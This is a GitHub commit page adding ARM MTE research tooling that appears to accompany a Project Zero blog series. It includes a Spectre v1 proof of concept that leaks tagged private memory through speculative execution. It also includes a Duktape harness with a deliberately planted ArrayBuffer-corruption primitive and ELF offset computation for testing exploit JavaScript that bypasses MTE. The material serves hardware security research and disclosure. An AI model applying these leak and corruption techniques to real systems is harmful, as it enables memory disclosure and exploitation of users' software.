-
Notifications
You must be signed in to change notification settings - Fork 112
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add MTETest tooling for blog post series.
- Loading branch information
Showing
25 changed files
with
2,157 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,204 @@ | ||
From b1f703913db28d4ca953959b39fb99f51760a6e6 Mon Sep 17 00:00:00 2001 | ||
From: Mark Brand <[email protected]> | ||
Date: Thu, 3 Aug 2023 16:11:04 +0200 | ||
Subject: [PATCH] Add MTE spectre test. | ||
|
||
--- | ||
demos/CMakeLists.txt | 5 +- | ||
demos/spectre_v1_pht_sa_mte.cc | 163 +++++++++++++++++++++++++++++++++ | ||
2 files changed, 167 insertions(+), 1 deletion(-) | ||
create mode 100644 demos/spectre_v1_pht_sa_mte.cc | ||
|
||
diff --git a/demos/CMakeLists.txt b/demos/CMakeLists.txt | ||
index ce3d67b..831f5ae 100644 | ||
--- a/demos/CMakeLists.txt | ||
+++ b/demos/CMakeLists.txt | ||
@@ -127,12 +127,15 @@ function(add_demo demo_name) | ||
endif() | ||
|
||
add_executable(${demo_name} ${demo_name}.cc ${ARG_ADDITIONAL_SOURCES}) | ||
- target_link_libraries(${demo_name} safeside) | ||
+ target_link_libraries(${demo_name} safeside -static) | ||
endfunction() | ||
|
||
# Spectre V1 PHT SA -- mistraining PHT in the same address space | ||
add_demo(spectre_v1_pht_sa) | ||
|
||
+# Spectre V1 PHT SA -- mistraining PHT in the same address space with MTE | ||
+add_demo(spectre_v1_pht_sa_mte) | ||
+ | ||
# Spectre V1 BTB SA -- mistraining BTB in the same address space | ||
add_demo(spectre_v1_btb_sa) | ||
|
||
diff --git a/demos/spectre_v1_pht_sa_mte.cc b/demos/spectre_v1_pht_sa_mte.cc | ||
new file mode 100644 | ||
index 0000000..68dd642 | ||
--- /dev/null | ||
+++ b/demos/spectre_v1_pht_sa_mte.cc | ||
@@ -0,0 +1,163 @@ | ||
+/* | ||
+ * Copyright 2023 Google LLC | ||
+ * | ||
+ * Licensed under both the 3-Clause BSD License and the GPLv2, found in the | ||
+ * LICENSE and LICENSE.GPL-2.0 files, respectively, in the root directory. | ||
+ * | ||
+ * SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0 | ||
+ */ | ||
+ | ||
+// Causes misprediction of conditional branches that leads to a bounds check | ||
+// being bypassed during speculative execution. Leaks architecturally | ||
+// inaccessible data from the process's address space. | ||
+// | ||
+// PLATFORM NOTES: | ||
+// This program should leak data on pretty much any system where it compiles. | ||
+// We only require an out-of-order CPU that predicts conditional branches. | ||
+ | ||
+#include <array> | ||
+#include <cstring> | ||
+#include <iostream> | ||
+#include <memory> | ||
+ | ||
+#include "instr.h" | ||
+#include "local_content.h" | ||
+#include "timing_array.h" | ||
+#include "utils.h" | ||
+ | ||
+#include <cassert> | ||
+#include <fcntl.h> | ||
+#include <sys/mman.h> | ||
+#include <sys/prctl.h> | ||
+#include <unistd.h> | ||
+ | ||
+namespace mte { | ||
+void enable(bool sync=true, uint16_t tag_mask=0xfffe) { | ||
+ int ctrl = sync ? PR_MTE_TCF_SYNC : PR_MTE_TCF_ASYNC; | ||
+ ctrl |= tag_mask << PR_MTE_TAG_SHIFT; | ||
+ assert(0 == prctl(PR_SET_TAGGED_ADDR_CTRL, ctrl, 0, 0, 0)); | ||
+} | ||
+ | ||
+void disable() { | ||
+ assert(0 == prctl(PR_SET_TAGGED_ADDR_CTRL, PR_MTE_TCF_NONE, 0, 0, 0)); | ||
+} | ||
+ | ||
+template<typename T> | ||
+T* tagz(T* ptr, size_t len, uint8_t tag=0) { | ||
+ if (tag == 0) { | ||
+ asm volatile ("irg %0, %0\n" : "+r"(ptr)); | ||
+ } else { | ||
+ ptr = (T*)(((uintptr_t)ptr) | ((uintptr_t)tag) << 56); | ||
+ } | ||
+ T* end_ptr = ptr; | ||
+ for (size_t i = 0; i < len; i += 16) { | ||
+ asm volatile ("stzg %0, [%0], #16\n" : "+r"(end_ptr)); | ||
+ } | ||
+ return ptr; | ||
+} | ||
+ | ||
+uint8_t tag(void* ptr) { | ||
+ uintptr_t address; | ||
+ memcpy(&address, &ptr, sizeof(address)); | ||
+ return static_cast<uint8_t>(address >> 56); | ||
+} | ||
+} // namespace mte | ||
+ | ||
+char* tagged_public_data = nullptr; | ||
+char* tagged_private_data = nullptr; | ||
+ | ||
+// Leaks the byte that is physically located at &text[0] + offset, without ever | ||
+// loading it. In the abstract machine, and in the code executed by the CPU, | ||
+// this function does not load any memory except for what is in the bounds | ||
+// of `text`, and local auxiliary data. | ||
+// | ||
+// Instead, the leak is performed by accessing out-of-bounds during speculative | ||
+// execution, bypassing the bounds check by training the branch predictor to | ||
+// think that the value will be in-range. | ||
+static char LeakByte(const char *data, size_t offset) { | ||
+ TimingArray timing_array; | ||
+ // The size needs to be unloaded from cache to force speculative execution | ||
+ // to guess the result of comparison. | ||
+ // | ||
+ // TODO(asteinha): since size_in_heap is no longer the only heap-allocated | ||
+ // value, it should be allocated into its own unique page | ||
+ std::unique_ptr<size_t> size_in_heap = std::unique_ptr<size_t>( | ||
+ new size_t(strlen(data))); | ||
+ | ||
+ for (int run = 0;; ++run) { | ||
+ timing_array.FlushFromCache(); | ||
+ // We pick a different offset every time so that it's guaranteed that the | ||
+ // value of the in-bounds access is usually different from the secret value | ||
+ // we want to leak via out-of-bounds speculative access. | ||
+ int safe_offset = run % strlen(data); | ||
+ | ||
+ // Loop length must be high enough to beat branch predictors. | ||
+ // The current length 2048 was established empirically. With significantly | ||
+ // shorter loop lengths some branch predictors are able to observe the | ||
+ // pattern and avoid branch mispredictions. | ||
+ for (size_t i = 0; i < 2048; ++i) { | ||
+ // Remove from cache so that we block on loading it from memory, | ||
+ // triggering speculative execution. | ||
+ FlushDataCacheLine(size_in_heap.get()); | ||
+ | ||
+ // Train the branch predictor: perform in-bounds accesses 2047 times, | ||
+ // and then use the out-of-bounds offset we _actually_ care about on the | ||
+ // 2048th time. | ||
+ // The local_offset value computation is a branchless equivalent of: | ||
+ // size_t local_offset = ((i + 1) % 2048) ? safe_offset : offset; | ||
+ // We need to avoid branching even for unoptimized compilation (-O0). | ||
+ // Optimized compilations (-O1, concretely -fif-conversion) would remove | ||
+ // the branching automatically. | ||
+ size_t local_offset = | ||
+ offset + (safe_offset - offset) * static_cast<bool>((i + 1) % 2048); | ||
+ | ||
+ if (local_offset < *size_in_heap) { | ||
+ // This branch was trained to always be taken during speculative | ||
+ // execution, so it's taken even on the 2048th iteration, when the | ||
+ // condition is false! | ||
+ ForceRead(&timing_array[data[local_offset]]); | ||
+ } | ||
+ } | ||
+ | ||
+ int ret = timing_array.FindFirstCachedElementIndexAfter(data[safe_offset]); | ||
+ if (ret >= 0 && ret != data[safe_offset]) { | ||
+ return ret; | ||
+ } | ||
+ | ||
+ if (run > 100000) { | ||
+ std::cerr << "Does not converge" << std::endl; | ||
+ exit(EXIT_FAILURE); | ||
+ } | ||
+ } | ||
+} | ||
+ | ||
+int main() { | ||
+ mte::enable(false); | ||
+ | ||
+ tagged_public_data = (char*)mmap(nullptr, 0x1000, | ||
+ PROT_READ|PROT_WRITE|PROT_MTE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); | ||
+ | ||
+ tagged_private_data = (char*)mmap(nullptr, 0x1000, | ||
+ PROT_READ|PROT_WRITE|PROT_MTE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); | ||
+ | ||
+ const size_t private_offset = tagged_private_data - tagged_public_data; | ||
+ | ||
+ tagged_public_data = mte::tagz(tagged_public_data, 0x1000, 1); | ||
+ tagged_private_data = mte::tagz(tagged_private_data, 0x1000, 2); | ||
+ | ||
+ strcpy(tagged_public_data, public_data); | ||
+ strcpy(tagged_private_data, private_data); | ||
+ | ||
+ std::cout << "Leaking the string: "; | ||
+ std::cout.flush(); | ||
+ for (size_t i = 0; i < strlen(tagged_private_data); ++i) { | ||
+ // On at least some machines, this will print the i'th byte from | ||
+ // private_data, despite the only actually-executed memory accesses being | ||
+ // to valid bytes in public_data. | ||
+ std::cout << LeakByte(tagged_public_data, private_offset + i); | ||
+ std::cout.flush(); | ||
+ } | ||
+ std::cout << "\nDone!\n"; | ||
+ | ||
+ std::cout << "Checking that we would crash during architectural access:\n" << tagged_public_data[private_offset]; | ||
+} | ||
-- | ||
2.41.0.585.gd2178a4bd4-goog | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
# MTE testing tools and examples. | ||
|
||
This project includes a build script and code samples used to verify various | ||
properties of the implementation of ARM MTE. See the blog post here for more | ||
information: | ||
|
||
https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html | ||
|
||
Note that most of these examples are written to demonstrate specific software | ||
or hardware behaviour observed on a single test device configuration, so you | ||
may encounter difficulties in reproducing the results in a different | ||
environment, and will need to provide your own configuration for the core layout | ||
of your test device, and likely also calibrate the timer and branch prediction | ||
iterations (see config.py and config.h). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,151 @@ | ||
// Copyright 2023 Google LLC | ||
// | ||
// Licensed under the Apache License, Version 2.0 (the "License"); | ||
// you may not use this file except in compliance with the License. | ||
// You may obtain a copy of the License at | ||
// | ||
// https://www.apache.org/licenses/LICENSE-2.0 | ||
// | ||
// Unless required by applicable law or agreed to in writing, software | ||
// distributed under the License is distributed on an "AS IS" BASIS, | ||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
// See the License for the specific language governing permissions and | ||
// limitations under the License. | ||
|
||
#define _GNU_SOURCE | ||
|
||
#include <assert.h> | ||
#include <stdbool.h> | ||
#include <stdio.h> | ||
#include <stdint.h> | ||
#include <stdlib.h> | ||
|
||
#include <fcntl.h> | ||
#include <pthread.h> | ||
#include <sys/mman.h> | ||
#include <unistd.h> | ||
#include <malloc.h> | ||
|
||
#include "lib/mte.h" | ||
#include "lib/scheduler.h" | ||
|
||
#include "duktape.h" | ||
|
||
static void* read_file(const char* path) { | ||
int fd = open(path, O_RDONLY); | ||
size_t data_read = 0; | ||
size_t data_size = 0; | ||
char* data = NULL; | ||
while (true) { | ||
if (data_read == data_size) { | ||
char* new_data = realloc(data, data_size + 1024); | ||
if (!new_data) { | ||
free(data); | ||
return NULL; | ||
} | ||
data = new_data; | ||
data_size = data_size + 1024; | ||
} | ||
ssize_t result = read(fd, &data[data_read], data_size - data_read); | ||
if (result <= 0) { | ||
return data; | ||
} else { | ||
data_read += result; | ||
} | ||
} | ||
} | ||
|
||
static duk_ret_t print(duk_context *ctx) { | ||
fprintf(stderr, "%s\n", duk_to_string(ctx, 0)); | ||
return 0; | ||
} | ||
|
||
static duk_ret_t corrupt_bytearray(duk_context* ctx) { | ||
if (duk_get_type(ctx, 0) == DUK_TYPE_OBJECT) { | ||
uint32_t* bufobj_i = duk_get_heapptr(ctx, 0); | ||
uint32_t** bufobj_p = (uint32_t**)bufobj_i; | ||
// Set the ArrayBuffer byteLength | ||
bufobj_i[19] = 0xffffffff; | ||
// Set the backing store size | ||
bufobj_p[7][6] = 0xffffffff; | ||
} | ||
return 0; | ||
} | ||
|
||
static duk_ret_t tag_check_fail(duk_context* ctx) { | ||
(void)ctx; | ||
void* ptr = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_MTE, | ||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | ||
mte_tag_and_zero(ptr, 0x1000); | ||
*(char*)ptr = 0x23; | ||
return 0; | ||
} | ||
|
||
// This is a very rough simulation of the Breakpad exception handling code for | ||
// linux, see: | ||
// https://source.chromium.org/chromium/chromium/src/+/main:third_party/breakpad/breakpad/src/client/linux/handler/exception_handler.cc;l=328 | ||
bool (*g_first_chance_handler)(int signal, siginfo_t* info, void* ucontext_ptr) = NULL; | ||
void segv_handler(int signal, siginfo_t* info, void* ucontext_ptr) { | ||
fprintf(stderr, "segv handler %i\n", signal); | ||
if (g_first_chance_handler && g_first_chance_handler(signal, info, ucontext_ptr)) { | ||
return; | ||
} | ||
fprintf(stderr, "killing process\n"); | ||
exit(1); | ||
} | ||
|
||
void add_segv_handler() { | ||
struct sigaction new_segv_handler, old_segv_handler; | ||
new_segv_handler.sa_sigaction = segv_handler; | ||
new_segv_handler.sa_flags = SA_SIGINFO; | ||
assert(0 == sigaction(SIGSEGV, &new_segv_handler, &old_segv_handler)); | ||
} | ||
|
||
int main(int argc, char** argv) { | ||
if (argc != 2) { | ||
fprintf(stderr, "usage: async_signal_handler_bypass exploit_javascript\n"); | ||
exit(-1); | ||
} | ||
|
||
g_first_chance_handler = NULL; | ||
add_segv_handler(); | ||
|
||
mte_enable(false, DEFAULT_TAG_MASK); | ||
|
||
// We have the hosting code compute necessary offsets here and provide those | ||
// to the exploit code to avoid having to manually generate offsets when | ||
// building... | ||
uint32_t* elf_base_ptr = (uint32_t*)(((uintptr_t)print) - 0x20000); | ||
while (*elf_base_ptr != 0x464c457f) | ||
--elf_base_ptr; | ||
|
||
char* offsets; | ||
asprintf(&offsets, | ||
"var print_offset = %p;\n" | ||
"var first_chance_handler_offset = %p;\n", | ||
(void*)((uintptr_t)print - (uintptr_t)elf_base_ptr), | ||
(void*)((uintptr_t)&g_first_chance_handler - (uintptr_t)elf_base_ptr)); | ||
|
||
char* script = read_file(argv[1]); | ||
|
||
char* full_script; | ||
asprintf(&full_script, "%s\n%s", offsets, script); | ||
|
||
duk_context *ctx = duk_create_heap_default(); | ||
|
||
duk_push_c_function(ctx, print, 1); | ||
duk_put_global_string(ctx, "print"); | ||
|
||
duk_push_c_function(ctx, tag_check_fail, 0); | ||
duk_put_global_string(ctx, "tag_check_fail"); | ||
|
||
duk_push_c_function(ctx, corrupt_bytearray, 1); | ||
duk_put_global_string(ctx, "corrupt_bytearray"); | ||
|
||
duk_eval_string_noresult(ctx, full_script); | ||
duk_destroy_heap(ctx); | ||
|
||
fprintf(stderr, "done\n"); | ||
|
||
return 0; | ||
} |
Oops, something went wrong.